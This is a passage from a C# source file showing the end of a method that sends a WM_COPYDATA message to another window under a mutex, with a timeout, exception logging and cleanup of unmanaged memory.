                        return(Result.MutexLockFail);
                    }
                }

                // WM_COPYDATA メッセージ送信
                var msgRes =
                    targetWindow.SendMessage(
                        WM_COPYDATA,
                        ownWindowHandle,
                        lParam,
                        timeoutMilliseconds);
                if (!msgRes.HasValue)
                {
                    return(Result.MessageTimeout);
                }
            }
            catch (Exception ex)
            {
                ThreadTrace.WriteException(ex);
                return(Result.MessageFail);
            }
            finally
            {
                if (mutex != null)
                {
                    if (mutexLocked)
                    {
                        mutex.ReleaseMutex();
                    }
                    mutex.Dispose();
                }
                if (lParam != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(lParam);
                }
                if (data.DataAddress != IntPtr.Zero)
                {
                    Marshal.FreeHGlobal(data.DataAddress);
                }
            }

            return(Result.Success);
        }